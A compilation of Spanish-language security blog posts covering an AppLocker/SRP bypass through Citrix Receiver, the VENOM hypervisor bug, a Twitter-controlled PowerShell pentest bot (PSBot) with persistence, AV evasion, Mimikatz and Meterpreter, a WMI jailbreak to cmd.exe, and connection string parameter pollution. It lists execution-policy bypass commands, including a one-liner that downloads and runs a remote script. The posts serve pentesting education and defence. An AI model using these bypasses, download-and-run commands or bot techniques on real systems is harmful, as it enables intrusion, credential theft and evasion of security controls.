Cómo saltarse Software Restriction Policies (SRP) & AppLocker en MS Windows 7/10 utilizando Citrix Receiver

En este artículo vamos a ver una forma de poder hacer un bypass de posibles reglas que tengamos implementadas por las Software Restriction Policies o Applocker, mediante el uso del software Citrix Receiver, que es el cliente recomendado por Citrix para que la experiencia de uso de sus productos sea la mejor posible de cara al usuario. Hay que recalcar que este método sólo implica ejecutar el programa en el mismo contexto/permiso que tenga el usuario, así que a menos que tengamos la imprudencia de dejar al usuario trabajar con permisos de administrador local, simplemente conseguiremos ejecutar el programa, pero no elevar privilegios.

Figura 1: Cómo saltarse Software Restriction Policies (SRP) &
AppLocker en MS Windows 7/10 utilizando Citrix Receiver

Antes por si acaso, la breve reseña de SRP y Applocker. Recordemos que ambas políticas están disponibles desde Windows 7 hasta Windows 10. Applocker permite mayor control y gestión, pero está reservado para licenciamiento de tipo Enterprise, y por eso muchos entornos con versiones Professional usan SRP:

• What Are Software Restriction Policies? 

• How Software Restriction Policies Work 

• What Is AppLocker?

Para ponernos en contexto, vamos a detallar el escenario. Imaginemos que tenemos la siguiente política de SRP implementada, en la que por defecto, todo lo que no esté explícitamente permitido, no se ejecutará:

Figura 2: Política SRP que por defecto no permite ejecución de ningún software

Por tanto, para permitir la ejecución de programas, deberemos tener la correspondiente regla creada permitiéndolo, por ejemplo:

Figura 3: Regla para permitir ejecuciones explícitas

Y su homónimo en el sistema AppLocker:

Figura 4: Forzado de reglas por defecto en AppLocker

Y las excepciones en reglas en una lista blanca de programas permitidos.

Figura 5: Lista blanca de reglas de ejecución en AppLocker

Usando las reglas por defecto de SRP o Applocker, conseguimos que todo software que no esté en las rutas por defecto - lo que excluye el %appdata% - no se llegará a ejecutar. No es la panacea, pero obviamente sólo con esto ya prevenimos mucha tipología de malware.

Usando Citrix Receiver para saltarse SRP & AppLocker

Ahora la parte de Citrix. Como ya he indicado al principio, Citrix Receiver es el cliente para puestos de trabajo para poder conectarnos a nuestro entorno basado en Citrix - XenDesktop/Xenapp en nuestro caso -, y ejecutar las aplicaciones publicadas. Básicamente, por hacer un símil rápido y fácil, es un RDP con muchos esteroides; podéis encontrar más información de ello en la web de Citrix, pero cualquiera que lo use - y no es precisamente un software desconocido o poco usado - ya sabe lo que implica. En la conferencia de "Bosses Love Excel, Hackers Too" podéis ver cómo lo utilizan Chema Alonso y Juan Garrido "Silverhack", y en si buscáis los artículos con la tag Citrix en este blog podéis encontrar muchos hacks basados en él.

Figura 6: Bosses love Excel, Hackers too

En nuestro ejemplo tenemos una serie de aplicaciones que se publican por XenApp, es decir, se ejecutarán desde el servidor en el puesto cliente, pero la gracia está en que para el usuario la integración o experiencia de uso será la misma que si lo tuviera en local. Además haremos uso de una de sus cualidades más usadas, que es que cualquier fichero de Microsoft Office que pueda tener el PC, se asocie con el programa de MS Office del servidor de Citrix. De esta forma, aunque el PC no tenga MS Office instalado, podrá ejecutarlo desde el servidor sin problemas. Sirva como referencia: Set File Type Association to Open Files Using Published Applications

Figura 7: Ejemplo de asociación de MS Word para que habra los documentos del tipo especificados.

Esto es importante ya que, si no hay asociación de ficheros, entonces todo lo demás que sigue no sucede/no aplica, pero dado que esto es una de sus características más usadas/productivas, lo normal es que esté hecha esta asociación. Igualmente hay que recalcar que el siguiente comportamiento se da al asociar ficheros de MS Office y no lo realiza con, por ejemplo, archivos PDF o de otro tipo - o por lo menos de los que he podido probar no he encontrado más -.

Al hacer esto, en el PC que tenga instalado Citrix Receiver, genera al vuelo siempre un .exe asociado a la aplicación para realizar ese "canal de comunicación". Dicho fichero .exe se almacena en %appdata%\Citrix\SelfService:

Figura 8: Ficheros .exe creados para hacer las asociaciones

Dado que en nuestras políticas de SRP o Applocker no hemos permitido explícitamente nada de ejecución de software desde el %appdata%, si intentamos abrir un fichero de MS Office desde el PC, obtendremos un error por nuestra política de seguridad:

Figura 9: Error al intentar abrir un documento asociado a MS Word

En el visor de eventos podemos ver el detalle:

Figura 10: El error por las SRP  en el Visor de eventos

En Applocker el evento es similar. Para que funcione, y aquí obviamente como os habréis imaginado ya hace rato está la trampa, hay que bajar la seguridad del sistema. Resulta que ese ejecutable que genera el cliente de Citrix Receiver lo hace al vuelo, es decir, que el HASH de ese fichero varía cada vez y, además, no lo hace con ninguna firma digital que pueda asociarlo al fabricante, lo obliga a tener que crear una excepción de AppLocker o SRP por Path para que funcione la asociación de extensiones. No hay otra opción en manos de los administradores. Gana la usabilidad. Pierde la seguridad.

Figura 11: Excepción de Path para que funcione la asociación de Word

Por tanto, si nos vamos ahora a dicha ruta, y copiamos cualquier ejecutable, y lo renombramos con ese nombre, podremos hacer el bypass; en la siguiente imagen veremos un simple TcpIPView copiado ahí y renombrado a "MicrosoftWord2016.exe":

Figura 12: Sustituyendo el fichero creado al vuelo

Y ya está, fácil y sencillo, sin mucho glamour ni destreza, algo al alcance de cualquiera. No obstante, como nota, es posible cambiar este comportamiento de las asociaciones de tipos de fichero haciendo uso de esta clave de registro - a ser posible mejor aplicarla a nivel de HKLM por una GPO, ya que a nivel de HKCU el atacante o malintencionado podrá modificarlo igualmente.

Pero usando este workaround, se pierde precisamente uno de los puntos fuertes de la aplicación, que es la integración y experiencia del usuario. El fabricante está notificado y espera poder solventarlo en futuras versiones, pero de momento, al ser por diseño dicho funcionamiento, hay que tener en cuenta este posible vector de ataque, y en entornos que consideremos críticos, saber que es posible aplicar el workaround a expensas de perder funcionalidad. Espero que os haya resultado útil.

Salu2!

Autor: Javier Inglés Obrero

VENOM: Un bug en entornos virtuales para llegar al host

El nuevo nombre molón para un bug es VENOM, acrónimo que viene de Virtual Environment Neglected Operations Manipulation que me ha sonado a como nosotros construimos FOCA, que venía de Fingerprinting Organizations with Collected Archives. En este caso, el bug está en el software de gestión de los floppy disks (sí, de disquetes) que utilizan los principales hypervisores de máquinas virtuales.

Figura 1: Venom vulnerability

El bug en sí es muy peligroso en su concepto, ya que permite que el dueño de una máquina virtual pase a poder ejecutar código en la máquina host anfitriona y de ahí pasar, por ejemplo a otras partes de la red. El gráfico que se publica en la página web que se ha creado para recoger la información de VENOM lo explica muy bien.

Figura 2: Riesgo de explotación de VENOM en una organización vulnerable

El software afectado por esta vulnerabilidad, que se le ha dado el CVE-2015-3456 es el Virtual Floppy Disk Controller (FDC) de QEMU, que está presente en las plataformas de XEN Project, en KVM de RedHat y en el software de Citrix. Hay que recalcar que ni VMWare ni Microsoft Hyper-V se ven afectados por este fallo.

Amazon Web Services y VENOM

Existen muchas plataformas de nube pública y nube privada que se ven afectadas por este bug, e incluso Amazon ha tenido que explicar las medidas para su plataforma de cloud, pero por ahora no se ha filtrado el exploit y parece que nadie ha visto una explotación del vulnerabilidad en ningún sistema por ahora. Según un portavoz de Amazon:

"Customer security is our top priority, and AWS takes extraordinary 'defense in depth' measures in constructing systems that do not rely solely upon any single component, such as the hypervisor, to protect customers."

Para evitar que este tipo de bugs puedan afectar a redes virtuales en sistemas de misión crítica o de alta seguridad, existen soluciones de hardening de redes que virtualizan y cifran todos los contenedores, evitando que un fallo en uno de estos sistemas permita al escalada hacia hosts anfitriones u otras partes de la red, que probablemente sean las medidas de contención y defensa en profundidad que desde Amazon argumentan.

Saludos Malignos!

PSBot: Dame PowerShell y Moveré el Mundo [2 de 2]

Por resumir la lista de cosas que se pueden hacer en este entorno con el bot que hemos construido en la primera parte de este artículo, es fácil decir que podemos ejecutar cualquier código o cualquier aplicación a través de la PowerShell y de este bot, pero vamos a ilustrar algunas de las acciones más interesantes en un proceso de Ethical Hacking. Con el objeto de poder sacar el máximo partido de este PSBot, lo mejor es poder generar las funciones de payload directamente en tiempo real. Existen algunas funciones que son enormes, por ejemplo las propias de PowerSploit, como Mimikatz o portscan.

Figura 8: Dame PowerShell y moveré el mundo. Ataques que se pueden hacer.

Por otro lado, podemos tener situaciones en las que necesitamos generar el script con un Meterpreter, por ejemplo con SET, por ello necesitamos crear el código casi dinámicamente y descargarlo al bot. A continuación una lista de las funciones que se incorporaron al bot en esta prueba de concepto.

1. Funciones de calibración: Estas funciones fueron creadas para ejecutar pequeñas instrucciones que prueben que el bot está funcionando correctamente. 

2. Identity: Determina qué usuario somos, el hostname del equipo, los privilegios que tenemos en el equipo o si pertenecemos al grupo administradores. Es fundamental conocer dónde está el bot cuando se hace un pentesting. 

3. Subida y descarga de ficheros: La utilización de funciones que transformar los ficheros a base64 permiten subir y descargar estos ficheros. Al final todo se transforma en un flujo en base64, el cual puede ser subido o descargado. Esta es una de las vías que podemos utilizar para colar binarios en la máquina u obtener información de la máquina, quizá algún pdf, docx, etcétera. 

Figura 9: Subida de Ficheros en BASE64

En la imagen anterior se puede ver contenido en base64 el cual es un fichero que al llegar al bot se transforma en el fichero querido. Para ejecutar la función con el bot se invoca load|download|-path [path fichero base64] –pathTarget [path remoto] –ip [dirección IP dónde leer el fichero en base64].

4. Portscan + PtH: Tener la posibilidad de realizar un escáner de puertos desde PowerShell es algo fundamental para un pentesting. Este código está disponible en PowerSploit, y podemos descargarlo a la máquina dónde nos encontremos con nuestro bot. Utilizar técnicas como Pass the Hash para realizar un desplazamiento lateral en el pentest es otra de las técnicas básicas y más necesarias.

La función portscan dispone de diferentes parámetros, se recomienda su lectura. Un posible ejemplo desde nuestro bot sería ejecutar la siguiente instrucción load|portscan|-hosts [red interna] –xmlout [fichero XML con datos]. El escaneo será volcado a un fichero XML con las direcciones IP escaneadas y los puertos abiertos.

Figura 10: Escaneo de puertos con PortScan usando PSBot

Respecto al PtH, podríamos utilizar la función anterior para subir aplicaciones como WCE, y llevar a cabo la modificación de los hashes. Si los hashes actuales son los necesarios para hacer un desplazamiento horizontal o lateral, podríamos directamente ejecutar una función que permita acceder a otros recursos de otras máquinas, por ejemplo y en “windows clásico” net use x: \\[ip]\c$. 

5. Por supuesto, el gran Mimikatz: Mi amigo Carlos García, pentester en Praga, me comentaba cuando vio la charla que Mimikatz era su día a día en los pentest. Por supuesto, Mimikatz no podía faltar. 

Figura 11: Usando Mimikatz desde PSBot

En PowerSploit tenemos disponible una función que hace la implementación de Mimikatz y que podemos utilizar para, si tenemos el privilegio suficiente en la máquina, obtener información sobre qué usuarios y con qué credenciales se loguearon en dicha máquina. 

6. Pon una VPN en tu pentest y haz un MiTM: En un momento dado del pentesting puede ser interesante sacar información hacia el exterior, o hacer que la navegación de una máquina salga por VPN hacia un servidor externo. Esto podemos verlo como MiTM muy especial. 

Figura 12: Código de Payload para hacer una VPN desde PSBot 

La idea surge del módulo de Metasploit implementado por Borja Merino y que estudiándolo podemos ver que genera un profile de VPN y después utiliza rasdial.exe para ejecutar el profile y generar la conexión. En la siguiente imagen se puede ver cómo quedaría la función para que el bot la descargue, la cargue y la ejecute. Hay que tener en cuenta las tablas de enrutamiento, ya que deberíamos hacer que la métrica de dicha conexión sea la menor, para que automáticamente el tráfico salga a través de la VPN. 

Figura 13: Demostración de PSBot para hacer mitm vía VPN

Una vez que se tiene la VPN conectada a través del bot, podemos ver todo el tráfico de la máquina, y por supuesto añadir más técnicas. Podemos concatenar desde la máquina dónde se encuentra el servidor de la VPN un SSL Strip, por lo que podríamos aprovecharnos de sitios que son vulnerables a esta técnica. 

7. Ejecución de shellcode, sí Meterpreter: Existen diversas formas de conseguir ejecutar una Meterpreter con PowerShell. Se puede utilizar la función Invoke-Shellcode que viene incorporada en PowerSploit. En esta ocasión, decidí utilizar una función propia denominada x86_shellcode, la cual dispone en el interior el código que proporciona SET. En la imagen podemos ver un ejemplo. 

Figura 14: Ejecución de un Meterpreter

El escenario es fácil de entender. Si estamos ejecutando el bot remoto le indicamos desde Twitter la instrucción load|x86_shellcode, por lo que nuestro PSBot irá al servidor de funciones para descargar la función x86_shellcode e invocarla desde el ámbito de la máquina. Una vez cargada la función ejecutará el contenido. Como se ha visto antes, el contenido de la función invoca una PowerShell que lanza instrucciones encodeadas, lo cual es nuestra Meterpreter.

Figura 15: Instalación de Meterpreter vía PowerShell

8. No todo es pentesting, reproducción de video: Una de las funciones curiosas que se pueden implementar es, si estamos en el bot remoto, abrir un Internet Explorer y dirigir al navegador a un video de Youtube. Aquí sí que el límite está en vuestra imaginación.

Presentación en Qurtuba Security Conference

Si queréis ver la presentación que se hizo, la hemos subido a Youtube para que podáis ver las demos en real. Aquí la tenéis íntegra.

Figura 16: Conferencia de PSBot de Pablo González

Por último, como moraleja final podemos decir que existen ciertos entornos en los que se realiza un Ethical Hacking en los cuales un pentester puede encontrarse en una situación así, en los que el bloqueo de los interfaces de comandos tradicionales está activo, pero no el de las PowerShells. Conocer y entender cómo funcionan herramientas como PowerShell es algo vital para ciertas circunstancias, como ya explicaban también Juan Garrido "Silverhack" y Chema Alonso en la charla de Bosses love Excel, Hackers Too: "Too many consoles"

Figura 17: Otro pentester feliz por la existencia de la PowerShell

Carlos García comentó que hacía menos de un mes se encontró con un escenario similar, que ya le podía haber dado la charla meses antes. Por lo que se ve, después de la charla se sigue acordando de ella. No tengo mucho más que añadir, el código no se encuentra disponible de momento, pero puede que pronto se encuentre en Github. Lo importante es la idea que queda de esto, y los millones de utilidades que podemos sacarle a PowerShell en un pentesting. Agradecer a Eduardo Sánchez, Miguel Ángel Arroyo y a todo el equipo de Qurtuba Security Congress su hospitalidad y buen hacer en el evento. ¡Edu, dale al play!

Autor: Pablo González Pérez (@pablogonzalezpe)
Project Manager en Eleven Paths y escritor de los libros:
"Metasploit para Pentesters", "Pentesting con PowerShell" y "Ethical Hacking"

PSBot: Dame PowerShell y Moveré el Mundo [1 de 2]

En algunas ocasiones te enfrentas a un entorno en el que no puedes contar con tus herramientas de pentesting y tienes que usar tu imaginación para lograr ejecutar ciertas acciones. En Qurtuba Security Congress tuve el placer de exponer esta charla en la que se mostraba como gracias a herramientas nativas de Microsoft Windows se puede ejecutar cualquier tipo de código, por lo que no echaremos tanto en falta nuestras típicas herramientas de pentesting. El nombre de la charla fue “Give me a PowerShell and I will move your world”.

Figura 1. PSBot: Dame PowerShell y Moveré el Mundo

Analizando algunas charlas sobre PowerShell, conociendo métodos para bypassear las políticas de ejecución de código en PowerShell y trasteando con PowerSploit, llegué a la conclusión de que se podría montar un pequeño bot útil para entornos difíciles, entornos con alta monitorización de elementos de seguridad o entornos a los cuales el bot pudiera acceder, pero no el pentester. El punto de comienzo de este trabajo empezaba en algo muy sencillo tengo acceso, ya sea físico o remoto a un equipo en una auditoria, pero no tengo mi caja de herramientas.

¿Qué haré sin un nmap?¿Qué haré sin mi Foca?¿Puedo realizar un PtH sin mi WCE?¿Podría ejecutar código en esa máquina de algún modo para conseguir hacer el Ethical Hacking? La única, y más que suficiente, herramienta de la que dispongo de forma nativa en los sistemas Microsoft es PowerShell. Con esta herramienta se podrían hacer muchas cosas, e interactuar con gran cantidad de productos de Microsoft, por lo que manos a la obra.

Figura 2: Script de PowerShell para cifrar archivos usado por un Ransomware

Los malos también han utilizado PowerShell en el pasado para hacer hasta ransomware, así que ¿por qué no iba a poder usarlo yo para hacer pentesting? Empecé a trabajar en un pequeño esqueleto de un bot con el fin de ver como evadir las políticas de ejecución de scripts que PowerShell trae consigo. Por cierto, a mi bot lo llamé… PSBot. Además, un bot escrito en PowerShell sería potentísimo sobre todo para entornos en los que nos encontramos con una máquina Citrix o Terminal Services en la que se consigue llegar a la PowerShell.

El primer paso: ¿Puedo ejecutar código local/remoto?

Algo está claro, y es que si tecleo el código sobre la PowerShell, independientemente de las políticas de ejecución que estén configuradas podré crear variables, funciones y lanzar comandos, siempre y cuando tenga acceso a la terminal. ¿Qué son las políticas de ejecución de PowerShell? Es un mecanismo con el que PowerShell puede decidir si ejecuta un script o en qué condiciones éste se ejecutará. De forma resumida podemos verlo como una medida de seguridad para que las aplicaciones o un proceso automatizado no puedan ejecutar scripts. Existen diferentes valores para las políticas de ejecución, algunas de ellas son:

- Restricted: Valor por defecto configurado en PowerShell. No permite la ejecución de scripts de PowerShell. 

- Unrestricted: Es el valor contrario al anterior, y permite ejecutar cualquier script a través del proceso de PowerShell. 

- Signed: Con este valor, solo se ejecutarán los scripts que se encuentren firmados por una entidad reconocida en el equipo. 

- RemoteSigned: Con este valor se podrán ejecutar los scripts que estén escritos o implementados en el propio equipo. Sin embargo, los scripts obtenido de ubicaciones exteriores solo se podrán ejecutar si se encuentran firmados y son validados.

Es importante que PSBot pueda ejecutar código saltándose estas políticas, y será extremadamente fácil si tenemos acceso local, ya que en el mismo prompt podremos escribirlo, pero estando en remoto podríamos tener alguna complicación más.

Por último, ¿cómo puedo consultar qué política se encuentra configurada en el equipo? Existen diversos comandos o cmdlets que permiten configurar en PowerShell las políticas de ejecución, por ejemplo Get-ExecutionPolicy permite obtener la política implementada. Por otro lado, con el cmdlet Set-ExecutionPolicy [nombre de política] podemos cambiar la política, siempre y cuando tengamos privilegios para ello.

Siete formas de bypassear las políticas de ejecución

Existen muchas más formas de bypassear la política, y es que es la propia Microsoft la que en algunos casos te da los parámetros necesarios para hacerlo. En nuestro caso es algo importante ya que será la base para poder ejecutar código en un entorno restringido a través del PSBot. A continuación se listan siete formas de llevar a cabo este bypass, algunas más trabajadas otras más sencillas, y alguna obvia.

1. Copy and paste: La más sencilla de todas, teniendo acceso físico a la máquina, ya sea en un Punto de Información, un servidor Citrix, un Kiosco Interactivo o un servidor Terminal Services, basta con copiar y pegar. Es algo lógico, se podrá bloquear la ejecución de un script, pero no el copiar el contenido y pegarlo en la línea de comandos. 

2. Get-Content [script.ps1] | powershell.exe –nop -: Se le pasa a una PowerShell el contenido de un script, el cual al ser recibido por el otro proceso lo ejecutará. 

3. Powershell –command “write-host ‘mi bypass’”: Directamente podemos pasarle al binario de PowerShell las instrucciones a ejecutar. 

4. Powershell –noprofile –c “iex(New-Object Net.WebClient).DownloadString(‘direcciónURL’)”. 5. Invoke-command –scriptblock {write-host “mi bypass”}:. De Nuevo, directamente se escribe el código y se invoca con el commando Invoke-Command. 

6. $contenido = “write-host ‘mi bypass’”; El contenido que se quiere ejecutar se almacena en una variable. Después se transforma a bytes el contenido almacenado en la variable. 

$bytes = [System.Text.Encoding]::Unicode.GetBytes($contenido); Por último, se pasa a base64 $encoded = [Convert]::ToBase64String($bytes). Una vez lo tenemos en base64 podemos ejecutarlo con una PowerShell a través del parámetro –encoded. 

7. Powershell –ExecutionPolicy Bypass –File

Planificar ciertas acciones

El entorno puede ser muy dispar de una auditoria a otra, lo que está claro es que no dispondremos de herramientas, solo de una PowerShell y nuestra imaginación. La idea es tener claras las primeras acciones a realizar con nuestra pequeña implementación del bot y es un reconocimiento de dónde estemos ejecutándolo.

Podemos partir de la posibilidad de introducir un fichero de texto el cual contiene el pequeño código de nuestro bot. La idea sería que este bot pueda ejecutar cualquier tipo de cosa. El reconocimiento tanto local del equipo, como de la red interna dónde se encuentra el bot es algo fundamental y que debemos contemplar. Algunas de las cosas que debemos tener en cuenta son:

- La ejecución de código: como se ha mencionado anteriormente.
- La no generación de demasiado tráfico: Pasar desapercibido es importante en un entorno así.
- Posibilidad de utilización de Proxies: ya sea porque la empresa lo utiliza o porque queremos hacerlo de forma remota.
- Conseguir evitar whitelisting de aplicaciones: Si conseguimos ejecutar código a través del bot y tenemos cierta comunicación fluida si estamos en remoto, podremos lograr saltarnos las listas blancas de aplicaciones, dónde por supuesto PowerShell se encontrará.
- Evasión de AV: Este es un punto fundamental. Lo mismo ocurrirá con otros elementos de seguridad, tales como IDS o IPS.

¿Conseguiremos todo esto con nuestro PSBot? Pues pasito a pasito lo iremos construyendo e iremos viendo que es posible.

Twitter como panel de órdenes (o Pastebin, o Facebook,  o…)

En el caso de que nuestro bot sea controlado de forma remota, podemos decirle que las órdenes las recoja de Twitter. Existe un módulo para PowerShell que dispone de diferentes funciones que configuran y conectan con la API de Twitter. La idea sería que el bot se conecte a Twitter y descargue los tweets de alguna cuenta configurada. De esta forma podría analizar y procesar la información del tweet, que tendrán una codificación con algún tipo de lógica. Incluso, se podría hacer que nuestro bot descargase las funciones desde los tweets encodeadas en base64, como ha hecho ya el malware en el pasado.

También podríamos hacer que las ejecuciones de los comandos y funciones fueran devueltas por mensaje directo a una cuenta de Twitter. Esto daría mucho juego y haría que las conexiones, a priori, pudieran pasar más inadvertidas que si mandásemos la información a un servidor concreto.

Tenemos que tener claro que podemos utilizar otros servicios para realizar la misma función, como por ejemplo Pastebin o el propio Facebook. Esto nos ayudará a ver que existen diversas vías de dónde recibir comandos y funciones, por ejemplo, podríamos indicar al bot que recibiese los comandos de Twitter y las funciones fueran cargadas a posteriori por Pastebin.

La receta: Objetivo minimizar código.

El objetivo es lograr tener el menor código posible en el fichero de texto que introducimos en el equipo y pegamos en la PowerShell. El bot tiene una serie de partes diferenciadas y que implementa. A continuación una lista de resumen:

1. Comprobación de identidad y privilegios. 

2. Creación de la función loader con la que se cargarán las funciones externas: Tanto si estamos en local como en remoto, el código que queremos ejecutar vendrá del exterior. Como se mencionó anteriormente podría venir de redes sociales, o por ejemplo un servidor web preparado para distribuir dicho código. Esta opción sería utilizada para simplificar el bot.

Figura 3: Loader de PSBot

3. Carga del fichero account.txt de forma externa: Este fichero presenta un gran número de funciones necesarias para el funcionamiento básico del bot. Hay que destacar que este fichero de texto contiene las funciones correspondientes a la configuración y uso de Twitter, la función que genera persistencia del bot, la función de actualización de fecha de lecturas de tuits, etcétera. Esta función es vital, sobretodo si trabajamos con el bot en remoto.

Figura 4: Fichero accounts.txt

4. Crear persistencia: Esto puede sonar extraño, pero es importante dotar al bot de cierta persistencia en algunos casos. Puede que hoy tengamos acceso a la máquina, pero puede que mañana no, y sigamos realizando el pentest. Por esta razón, puede ser útil dotar al bot de persistencia en el sistema.

Figura 5: Gestión de la persistencia

5. Crear conexión con Twitter.

6. Lectura de tweets. 

Figura 6: Lectura de tweets en PSBot

7. Protocolo para los comandos: Los comandos serán leídos con el siguiente formado [comando]|[función]|[parámetros]. Como puede verse se separará entre pipes, ya que el bot lo troceará por los pipes. Por ejemplo, load|portscan|-hosts 10.0.0.0/24. El bot leerá de twitter la instrucción y al trocear entenderá que tiene que cargar la función portscan remotamente y la ejecutará en local pasándole los argumentos –hosts 10.0.0.0/24.

8. Aleatoriedad en las peticiones: Si el bot es remoto podemos implementarle una función que le aporte aleatoriedad a cuando realizar las peticiones. La función random-time es insertada en el bot de manera dinámica a través de la descarga del paquete de funciones account, el cual se comentó anteriormente. Si el bot es local, es decir lo ejecutamos nosotros desde una línea de comandos en físico, no necesitaríamos esta aleatoriedad. 

9. Update-Persistence: Existe una función la cual, si hemos ejecutado la persistencia, nos permite actualizar el script en caliente. Este script podría modificar el comportamiento total del script de manera transparente o actualizar la versión del script en un momento dado. Un ejemplo de este tipo de función se puede ver en la imagen.

Figura 7: Update Persistence

10. Ejecutar otras funciones: Funciones ya hechas con el mecanismo implementado, como por ejemplo las funciones de pentesting implementadas en PowerSploit.

Una vez tenemos la receta preparada e implementada, tenemos nuestro PSBot preparado para nuestro ethical hacking. En esta prueba de concepto el código no ocupó más de 100 líneas en el caso del bot remoto, siendo de 70 en el caso del bot local y teniendo una tercera versión de bot local minimalista con 25 líneas de código y totalmente funcional. Ya estamos listos para los ataques que puedes ver en la segunda parte de este artículo.

Autor: Pablo González Pérez (@pablogonzalezpe)
Project Manager en Eleven Paths y escritor de los libros:
"Metasploit para Pentesters", "Pentesting con PowerShell" y "Ethical Hacking"

Atacar un servidor Windows usando llamadas WMI

Los sistemas operativos Windows están creados con un conjunto de clases e instancias de estas en objetos que permiten controlar las funciones de toda la plataforma. Este tipo de componentes tienen una interfaz de operación implementada siguiendo los estándares de Web-Based Enterprise Management y Common Information Model y se los conoce como WMI - Windows Management Instrumentation -. Todo esto lo que abre es la puerta para que los objetos que dan vida a los sistemas operativos de Microsoft Windows puedan ser utilizados mediante este inferfaz WMI desde aplicaciones hechas a mano o herramientas del sistema que lo utilicen.

Figura 1: Atacar un servidor Windows usando llamadas WMI

Esto no es nada nuevo, pero en un entorno Citrix o Terminal Services, en el que se quieren ejecutar comandos fuera de la aplicación publicada en un Windows Server - es decir, hacer un jailbreak a la publicación -, el poder hacer uso de los componentes WMI puede resolver el problema ya que se tendría acceso a todo lo que ese usuario pudiera hacer en ese sistema operativo en concreto.

Figura 2: Herramienta WBEMTEST

Para conseguir este objetivo, hay una aplicación de test que permite hacer uso del interfaz WMI de los objetos del sistema operativo manualmente y que está en todos los sistemas operativos Windows. Se llama WBEMTEST (Web-Based Enterprise Management Test) y se encuentra en la ruta %WINDIR%/System32/wbem/wbemtest.exe. Desde esta herramienta se pueden cargar todos los interfaces de todos los objetos creados en este contexto en el que se está trabajando, configurar los parámetros y hacer las llamadas de los métodos.

Figura 3: Conexión a un contexto de trabajo.
root/cimv2 es en el que se encuentran la mayoría de los objetos del sistema
(El contexto de los objetos está en la documentación)

Si se consigue acceder a esta herramienta, se puede convertir en una de esas consolas extras que un administrador de un entorno Citrix o Terminal Services debería prohibir, pues como vamos a ver ahora, si un atacante consigue llegar a ella, podrá ejecutar cualquier comando en el sistema operativo. Para ello, el atacante debe conectase a un contexto de trabajo con el usuario que esté conectado actualmente.

Figura 4: Por cada clase del sistema se documenta el contexto

Una vez conectado al contexto podrá conseguir hacer uso de las funciones de los componentes del sistema operativo llamando a los métodos que tienen todos los objetos. La lista completo de clases y métodos está documenta en MSDN, y como se puede ver, por cada clase tendremos información del contexto en el que se encuentra, las versiones de los sistemas operativos en que se encuentra implementada y la lista de métodos que se pueden invocar.

Figura 5: Métodos de la clase Win32_OperatingSystem

Con cada clase podremos hacer uso del interfaz WMI para obtener una lista concreta de funciones, que están descritas en la documentación. Por ejemplo, si se desea reiniciar o apagar un servidor se puede hacer mediante la clase Win32_OperatingSystem que oferta estos métodos.

Figura 6: Configurando una llamada a un método de Win32_Process

En nuestro caso concreto vamos a hacer uso de la clase Win32_Process que entre otros métodos permite crear o matar procesos para conseguir la creación de uno nuevo a partir la ejecución de un comando en el sistema. Es decir, el objetivo será abrir una cmd.exe a usando el método create del objeto Win32_Process haciendo uso del inferfaz de llamadas WMI. 

Figura 7: Configuración de la llamada al método create del objeto Win32_Process

Cuando se selecciona el método create, ya tenemos acceso a la lista de parámetros a configurar, en este ejemplo vamos a usar el parámetro de llamada CommandLine.

Figura 8: Configuración de una llamada al método create

Se configura el valor cmd.exe en él, para que se cree un proceso con la ejecución de ese comando y le damos al botón de ejecutar.

Figura 9: Configuración del parámetro CommandLine con el nombre del programa a ejecutar

Como se puede ver, al final se consigue la ejecución de la consola en el sistema operativo.

Figura 10: Se ejecuta la llamada VMI al método create del objeto
Win32_Process para conseguir la ejecución de cmd.exe

Es un ejemplo sencillo, pero haciendo uso de este interfaz WMI se podría sacar información acerca de todo el sistema operativo, el dominio en el que se encuentra, listas de permisos, carpetas compartidas, etcétera, y será especialmente útil cuando estemos haciendo auditorías de seguridad en un entorno Citrix o Terminal Services con un sistema operativo Windows Fortificado en el que las consolas habituales como cmd, PowerShell, wmic, etcétera estén capadas, ya que se seguirá teniendo acceso a todo el sistema operativo.

Saludos Malignos!

Connection String Parameter Pollution en aplicaciones Windows publicadas en Citrix o Terminal Services

Este puente ha tenido lugar el Cybercamp, y entre los ponentes se encontraba Stefano Di Paola, padre de las técnicas de ataque HPP (HTTP Parameter Pollution). En un rato en la sala de ponentes del evento estuvimos hablando y además de aprovechar para tirarnos una foto juntos le conté que cuando descubrimos las técnicas de ataque de Connection String Parameter Pollution fue porque desde que vimos su charla queríamos polucinar todo lo polucionable, y al final fueron las cadenas de conexión a bases de datos las que nos dieron el premio.

Figura 1: Ataques CSPP en aplicaciones Windows publicadas en Citrix

En aquel momento, cuando estábamos escribiendo el paper de Connection String Parameter Pollution, hubo un software vulnerable al que no le hicimos mucho caso, pues no tenía mucho sentido en aquel entonces el entorno de ataque. Me refiero a la Consola de Administración de SQL Server 2000, que permite la inyección de un punto y coma en cualquier campo y como consecuencia la polución de los parámetros de la cadena de conexión.

Figura 2: Connection String Parameter Pollution Attacks

No tuvo mucho sentido para nosotros publicar que era vulnerable a CSPP, pues no encontramos un entorno de ataque donde tener la Consola de Administración de SQL Server 2000, que ya de por sí permite configurar todos los parámetros para hacer una conexión a una base de datos, diera alguna ventaja al atacante pero lo cierto es que lo era y se podrían inyectar comandos.

Figura 3: Presentación de Connection String Parameter Pollution en DEFCON 18

Sin embargo, quiso el destino que ayer mismo me topara con un servidor Citrix que estaba publicando una aplicación Windows que realizaba la autenticación contra una base de datos Microsoft SQL Server. Como se puede apreciar, es un panel de login en el que no se puede elegir ni el motor de la base de datos, ni tampoco se podía tocar el nombre del servidor y la base de datos, que venían prefijado y sin posibilidad de manipular. Solo se pueden introducir valores en el campo de usuario y contraseña. 

Figura 4: Un aplicación Windows publicada en un servidor Citrix con una conexión a SQL Server

Para probar si estaba ante una cadena de conexión a bases de datos inyectable y polucionable, en el campo de Usuario introduje una cadena con el carácter ";" en medio, para ver si conseguía generar un nuevo elemento en la configuración de la conexión. Como se puede ver en el siguiente mensaje de error obtenido, mi carácter ";" aparece en la cadena como uno de los caracteres de control introducidos por el programador, así que podría probar otras cosas.

Figura 5: Mensaje de error ODBC que muestra la cadena inyectada

Teniendo en cuenta que esta aplicación está en un entorno Citrix la cosa podría ser más que interesante. Al final, al haberse publicado esta aplicación, se está publicando un usuario del sistema operativo Windows sobre el que está corriendo, lo que podría permitir hacer un ataque de Jailbreak, pero al mismo tiempo podríamos utilizar un parámetro Integrated Security en la cadena de conexión para utilizar ese usuario Windows en el motor de la base de datos.

El resultado, como puede verse en este ejemplo concreto es que ese usuario de Windows concreto sobre el que está corriendo esta aplicación Windows publicada en este entorno Citrix no tiene los privilegios de acceso a este motor SQL Server en particular, pero el ataque podría haberse realizado si hubiera estado configurado con otro usuario podría haber tenido éxito.

Figura 6: Error. El usuario no está dentro de una conexión de confianza

